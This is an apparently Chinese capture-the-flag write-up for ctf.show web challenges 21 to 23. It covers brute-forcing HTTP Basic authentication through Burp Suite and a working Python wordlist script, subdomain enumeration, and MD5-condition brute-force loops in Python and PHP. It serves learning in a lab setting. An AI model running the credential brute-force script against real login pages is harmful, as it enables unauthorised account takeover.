web21

原始信息

这里提供的是账户登录,下面是数据包:

GET / HTTP/1.1
Host: 4348c988-e9ca-4605-a191-c67e0012af3b.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
Connection: close
Upgrade-Insecure-Requests: 1

账密加密后转成了下面的base64字符:

dXNlcm5hbWU6cGFzc3dvcmQ=
# 解密下:
username:password

解题

想要爆破这个登录框,就得组合出  "用户名:密码" 的爆破形式。
爆破的方法很多:
1.可以先准备用户名和密码,在BP使用 "自定义迭代器" 规定格式并且包装为base64进行爆破
2.使用脚本,将原始的用户名载入到脚本中,处理后发包出去
3.社工,这个不是当下的解法

BP爆破

此处不使用图片说明,文字说明为主。

1. 拦截到数据包后,把数据包转发到测试器
2. 在测试器当中的Positions 给
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
添加变量
Authorization: Basic §dXNlcm5hbWU6cGFzc3dvcmQ=§

3.转到Payloads选项卡:
这是从上到下的四个选项卡,不懂的自己拿手机翻译
1.有效荷载集:
有效荷载集:1
有效荷载类型:自定义迭代器

2.有效荷载集选项[自定义迭代器]
位置 1
在载入处选一个后台用户名字典进行载入
或者底部写入 admin 点击添加按钮手动输入用户名字典
位置 2
在底部手动输入 : 并且添加上去即可
位置 3
在载入处选一个后台密码字典进行载入
或者底部写入 password 点击添加按钮手动输入密码字典
"迭代器的原理:把位置1~3进行组合爆破"

3.有效荷载处理
1.点击添加按钮
2.选择数据类型为:编码
3.再在第二个选项卡选择base64编码
4.有效荷载编码
取消URL编码:把那个勾勾去掉就行
"补充:数据包的数据头主体没必要使用URL编码"

Py爆破

这个思路就更简单了。
主要的部分就是使用py发包。

# 思路:读字典,编码,发包,测状态
import requests,base64,time

def pass_encode(txt, url):
with open(txt, 'r') as pwd:
dit = pwd.read().split('\n')
for i in dit:
nwd = "admin:{}".format(i)
header = {
'Authorization': 'Basic {}'.format(base64.b64encode(nwd.encode('utf-8')).decode('utf-8'))
}
req = requests.get(url=url,headers=header)
time.sleep(0.2)
# 下面的if代码属于筛选操作,直接筛选状态200的数据包显示账密
# if req.status_code != 200:
# continue
print('{:^10} |{}'.format(req.status_code,nwd))


if __name__ == "__main__":
txt = "new_pwd.txt"
url = "http://75ff163a-c051-4124-ba53-fdf593f02ab6.challenge.ctf.show/index.php"
pass_encode(txt, url)

返回大概如下:(已简化截取)

...
401 |admin:000102
401 |admin:000111
401 |admin:000123
200 |admin:shark63
401 |admin:000126
401 |admin:000226
...

总结

BP迭代器爆破

web22

子域名爆破
或者说子域名查询:https://chaziyu.com/ctf.show/

web23

原始信息

error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}

解题

这波铁打的分析了……

# get=获取参数token,这个没的说
if(isset($_GET['token'])){
# md5加密
$token = md5($_GET['token']);
# 重头戏(依然是按照Python算下标)
# ($token的第1个字符 和 $token的第14个字符完全相等) && ($token的第14个字符 和 $token的第17个字符完全相等)
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
# $token的第1个字符转整数 + $token的第14个字符转整数 + $token的第17个字符 之和 / $token的第1个字符
# 最后除法的结果 === $token的第31个字符转整数
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}

看意思,就是把编码后的md5取出某些字符,并且符合条件就能爆出flag
题目原本的意思就是爆出flag,试着用BP爆破。

官方WP

这个属实有些看不懂。看不懂的是它的字符串哪里来的。

实验出来的结果其实就一个:3j
因为实验出来全是1,怎么算都合理……

dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
md5 = hashlib.md5(dic.encode()).hexdigest()
for a in dic:
for b in dic:
t = str(a)+str(b)
md5 = hashlib.md5(t.encode()).hexdigest()
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
print(t)
print(md5)
print(md5[1:2])
print(md5[14:15])
print(md5[17:18])
print('='*30)

于是乎,尝试仿原始信息写了一个PHP的WP

PHP的WP

这个连原理都简单的一批。
主要是试着用数字不断的叠加,每个叠加数字的MD5值都试着去爆破下,看哪个值符合条件就输出来。

<?php
$t = 0;
while (TRUE) {
$t = (string)(1 + $t);
$token = md5($t);
if (substr($token, 1, 1) === substr($token, 14, 1) && substr($token, 14, 1) === substr($token, 17, 1)) {
if ((intval(substr($token, 1, 1)) + intval(substr($token, 14, 1)) + substr($token, 17, 1)) / substr($token, 1, 1) === intval(substr($token, 31, 1))) {
$f = substr($token, 1, 1);
$g = substr($token, 14, 1);
$h = substr($token, 17, 1);
$i = substr($token, 31, 1);
echo "{$t} -- {$f} -- {$g} -- {$h} -- {$i}\n";
break;
}
}
}